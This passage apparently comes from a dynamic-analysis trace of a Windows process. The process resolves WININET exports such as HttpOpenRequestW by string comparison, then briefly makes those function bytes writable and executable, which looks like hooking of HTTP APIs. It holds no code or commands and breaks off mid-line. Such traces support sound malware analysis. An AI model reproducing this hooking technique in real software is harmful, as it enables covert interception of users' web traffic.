[0073.563] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetDial", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetDialA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetDialW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetFortezzaCommand", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetQueryDataAvailable") returned -1 [0073.564] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetLockRequestFile", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetQueryDataAvailable") returned -1 [0073.565] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetQueryDataAvailable") returned 0 [0073.565] VirtualProtect (in: lpAddress=0x768e2a80, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.565] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.565] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.565] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.565] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: hHeap=0x2390000) returned 1 [0073.565] VirtualProtect (in: lpAddress=0x7699861e, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.566] VirtualProtect (in: lpAddress=0x7699861e, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.566] VirtualProtect (in: lpAddress=0x768e2a80, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.567] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.567] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.567] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eaa0 [0073.567] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DispatchAPICall", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="DllInstall", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpOpenRequestW") returned -1 [0073.567] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="ForceNexusLookup", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpCommandA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpCommandW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpGetFileA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpGetFileEx", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpGetFileSize", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpGetFileW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpOpenFileA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpOpenFileW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpPutFileA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpPutFileEx", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpPutFileW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpRenameFileA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpRenameFileW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="HttpOpenRequestW") returned -1 [0073.568] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherOpenFileA", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="GopherOpenFileW", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="HttpEndRequestA", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="HttpEndRequestW", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="HttpOpenRequestW") returned -1 [0073.569] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="HttpOpenRequestW") returned 0 [0073.569] VirtualProtect (in: lpAddress=0x768e2974, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.569] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.569] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.569] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.569] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: hHeap=0x2390000) returned 1 [0073.569] VirtualProtect (in: lpAddress=0x76998623, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.570] VirtualProtect (in: lpAddress=0x76998623, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.570] VirtualProtect (in: lpAddress=0x768e2974, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.570] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.571] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.571] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ead8 [0073.571] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DispatchAPICall", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="DllInstall", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="ForceNexusLookup", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpOpenRequestA") returned -1 [0073.571] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpCommandA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpCommandW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpGetFileA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpGetFileEx", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpGetFileSize", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpGetFileW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpOpenFileA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpOpenFileW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpPutFileA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpPutFileEx", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpPutFileW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpRenameFileA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpRenameFileW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="HttpOpenRequestA") returned -1 [0073.572] lstrcmpA (lpString1="GopherGetAttributeW", 